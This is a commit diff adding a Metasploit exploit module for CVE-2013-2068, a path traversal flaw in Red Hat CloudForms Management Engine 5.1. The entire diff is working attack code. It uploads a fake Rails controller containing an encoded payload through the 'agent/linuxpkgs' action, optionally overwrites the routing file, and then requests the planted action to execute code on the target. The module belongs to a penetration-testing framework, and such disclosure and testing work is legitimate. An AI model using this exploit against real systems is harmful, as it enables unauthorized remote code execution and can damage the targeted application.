Land rapid7#2745, @rcvalle's exploit for CVE-2013-2068

Author: jvazquez-r7

modules/exploits/linux/http/cfme_manageiq_evm_upload_exec.rb

@@ -0,0 +1,150 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit4 < Msf::Exploit::Remote
+
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Exploit::FileDropper
+
+  def initialize
+    super(
+      'Name'           => 'Red Hat CloudForms Management Engine 5.1 agent/linuxpkgs Path Traversal',
+      'Description'    => %q{
+        This module exploits a path traversal vulnerability in the "linuxpkgs"
+        action of "agent" controller of the Red Hat CloudForms Management Engine 5.1
+        (ManageIQ Enterprise Virtualization Manager 5.0 and earlier).
+        It uploads a fake controller to the controllers directory of the Rails
+        application with the encoded payload as an action and sends a request to
+        this action to execute the payload. Optionally, it can also upload a routing
+        file containing a route to the action. (Which is not necessary, since the
+        application already contains a general default route.)
+      },
+      'Author'         => 'Ramon de C Valle',
+      'License'        => MSF_LICENSE,
+      'References'     =>
+        [
+          ['CVE', '2013-2068'],
+          ['CWE', '22'],
+          ['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=960422']
+        ],
+      'Platform'       => 'ruby',
+      'Arch'           => ARCH_RUBY,
+      'Privileged'     => true,
+      'Targets'        =>
+        [
+          ['Automatic', {}]
+        ],
+      'DisclosureDate' => 'Sep 4 2013',
+      'DefaultOptions' =>
+        {
+          'PrependFork' => true,
+          'SSL' => true
+        },
+      'DefaultTarget' => 0
+    )
+
+    register_options(
+      [
+        Opt::RPORT(443),
+        OptString.new('CONTROLLER', [false, 'The name of the controller']),
+        OptString.new('ACTION', [false, 'The name of the action']),
+        OptString.new('TARGETURI', [ true, 'The path to the application', '/']),
+        OptEnum.new('HTTP_METHOD', [true, 'HTTP Method', 'POST', ['GET', 'POST'] ])
+      ], self.class
+    )
+
+    register_advanced_options(
+      [
+        OptBool.new('ROUTES', [true, 'Upload a routing file. Warning: It is not necessary by default and can damage the target application', false]),
+      ], self.class)
+  end
+
+  def check
+    res = send_request_cgi(
+      'uri'    => normalize_uri(target_uri.path, "ping.html")
+    )
+
+    if res and res.code == 200 and res.body.to_s =~ /EVM ping response/
+      return Exploit::CheckCode::Detected
+    end
+
+    return Exploit::CheckCode::Unknown
+  end
+
+  def exploit
+    controller =
+      if datastore['CONTROLLER'].blank?
+        Rex::Text.rand_text_alpha_lower(rand(9) + 3)
+      else
+        datastore['CONTROLLER'].downcase
+      end
+
+    action =
+      if datastore['ACTION'].blank?
+        Rex::Text.rand_text_alpha_lower(rand(9) + 3)
+      else
+        datastore['ACTION'].downcase
+      end
+
+    data = "class #{controller.capitalize}Controller < ApplicationController; def #{action}; #{payload.encoded}; render :nothing => true; end; end\n"
+
+    print_status("Sending fake-controller upload request to #{target_url('agent', 'linuxpkgs')}...")
+    res = upload_file("../../app/controllers/#{controller}_controller.rb", data)
+    fail_with(Failure::Unknown, 'No response from remote host') if res.nil?
+    register_files_for_cleanup("app/controllers/#{controller}_controller.rb")
+    # According to rcvalle, all the version have not been checked
+    # so we're not sure if res.code will be always 500, in order
+    # to not lose sessions, just print warning and proceeding
+    unless res and res.code == 500
+      print_warning("Unexpected reply but proceeding anyway...")
+    end
+
+    if datastore['ROUTES']
+      data = "Vmdb::Application.routes.draw { root :to => 'dashboard#login'; match ':controller(/:action(/:id))(.:format)' }\n"
+
+      print_status("Sending routing-file upload request to #{target_url('agent', 'linuxpkgs')}...")
+      res = upload_file("../../config/routes.rb", data)
+      fail_with(Failure::Unknown, 'No response from remote host') if res.nil?
+      # According to rcvalle, all the version have not been checked
+      # so we're not sure if res.code will be always 500, in order
+      # to not lose sessions, just print warning and proceeding
+      unless res and res.code == 500
+        print_warning("Unexpected reply but proceeding anyway...")
+      end
+    end
+
+    print_status("Sending execute request to #{target_url(controller, action)}...")
+    send_request_cgi(
+      'method' => 'POST',
+      'uri'    => normalize_uri(target_uri.path, controller, action)
+    )
+  end
+
+  def upload_file(filename, data)
+    res = send_request_cgi(
+      'method' => datastore['HTTP_METHOD'],
+      'uri'    => normalize_uri(target_uri.path, 'agent', 'linuxpkgs'),
+      "vars_#{datastore['HTTP_METHOD'].downcase}" => {
+        'data'     => Rex::Text.encode_base64(Rex::Text.zlib_deflate(data)),
+        'filename' => filename,
+        'md5'      => Rex::Text.md5(data)
+      }
+    )
+
+    return res
+  end
+
+  def target_url(*args)
+    (ssl ? 'https' : 'http') +
+      if rport.to_i == 80 || rport.to_i == 443
+        "://#{vhost}"
+      else
+        "://#{vhost}:#{rport}"
+      end + normalize_uri(target_uri.path, *args)
+  end
+end
+